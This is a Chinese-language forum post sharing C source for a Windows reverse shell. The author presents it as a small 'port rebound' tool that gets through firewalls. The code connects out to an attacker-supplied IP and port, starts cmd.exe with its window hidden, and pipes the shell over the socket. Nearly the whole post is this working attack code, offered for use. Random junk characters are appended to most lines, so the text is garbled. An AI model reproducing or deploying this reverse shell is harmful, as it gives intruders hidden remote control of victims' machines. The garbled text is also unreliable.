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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HI)ks~E/  
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/* ============================== *>zr'Tt,W  
Rebound port in Windows NT O. @_2  
By wind,2006/7 S\s1}`pNm  
===============================*/ ]p@7[8}  
#include o+q4Vg9&  
#include x^9W<  
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#pragma comment(lib,"wsock32.lib") N] }L*o&  
h`?0=:Tru  
void OutputShell(); RhXX/HFk  
SOCKET sClient; LKftNSkg"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .K;*uq:0  
\d%&_rp  
void main(int argc,char **argv) ` _[\j]  
{ 5H;*Nj@  
WSADATA stWsaData; <fWho%eOK  
int nRet; /Y%) Y  
SOCKADDR_IN stSaiClient,stSaiServer; I?Eh 0fI  
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if(argc != 3) XOVZ'V  
{ l*xA5ObV  
printf("Useage:\n\rRebound DestIP DestPort\n"); u*}6)=+:  
return; ,k+jx53XV  
} _N0x&9S$  
#li;L  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^FF{71;  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p"JITH :G  
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stSaiClient.sin_family = AF_INET; cSoZq4  
stSaiClient.sin_port = htons(0); k;l^wM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &3S;5{7_e  
Y=/HsG\W]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OA&NWAm4  
{ rXo,\zI;u^  
printf("Bind Socket Failed!\n"); 9O~1o?ni  
return; D?8t'3no  
} 5/>G)&  
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stSaiServer.sin_family = AF_INET; y/4 4((O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >c8zMd  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VBBqoyP h  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Xl@nv9m  
{ "JbFbcj  
printf("Connect Error!"); :G$NQ* (z  
return; Uiv;0Tovl  
} VOp8 ,!  
OutputShell(); 6@; w%Ea  
} 73Tg{~  
O/iew3YF  
void OutputShell() f+1)Ju~  
{ DM~Q+C=Yr  
char szBuff[1024]; /,$6`V  
SECURITY_ATTRIBUTES stSecurityAttributes; ,K8PumM_  
OSVERSIONINFO stOsversionInfo; Bn}@wO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RkP7}ZA;  
STARTUPINFO stStartupInfo; ^V_vpr]}P  
char *szShell; IgR_p7['.  
PROCESS_INFORMATION stProcessInformation; Op\l  
unsigned long lBytesRead; BY32)8SH  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R8O<} >3a  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :q0C$xF  
stSecurityAttributes.lpSecurityDescriptor = 0; I`p44}D3  
stSecurityAttributes.bInheritHandle = TRUE; b;Q cBGwKT  
HaJD2wvr  
!>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i!ejK6Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r]kLe2r:B  
Z!^iPB0~D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d+[hB4!l2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YmNBtGhT  
stStartupInfo.wShowWindow = SW_HIDE; !@%m3)T8  
stStartupInfo.hStdInput = hReadPipe; QJvA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \/S?.P#L~  
?N&"WL^|  
GetVersionEx(&stOsversionInfo); w!8h4U. ;  
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switch(stOsversionInfo.dwPlatformId) &z&Jl#t-)  
{ y85GKysT  
case 1: ~?+Jt3?,  
szShell = "command.com"; "((6)U#  
break; Q0Dw2>~_K  
default: ^A;v|U  
szShell = "cmd.exe"; f\2'/g}6a  
break; '~<D[](/F  
} *"q ~z  
"a>%tsl$K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0_,V}  
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send(sClient,szMsg,77,0); O`rAqO0F  
while(1) rnEWTk7&  
{ :M'3U g$t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y~]>J^  
if(lBytesRead) UXR$7<D+  
{ pV:X_M6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M)i2)]F S  
send(sClient,szBuff,lBytesRead,0); ^Me__Y  
} ,d&~#W]  
else RVlC8uJ;P  
{ : -te  
lBytesRead=recv(sClient,szBuff,1024,0); CP["N(fF  
if(lBytesRead<=0) break; bUU_NqUf*3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xud =(HLl  
} f.,S-1D]h  
} eiJ $}\qJL  
@]gP"Pp  
return; !C&}e8M|eX  
}
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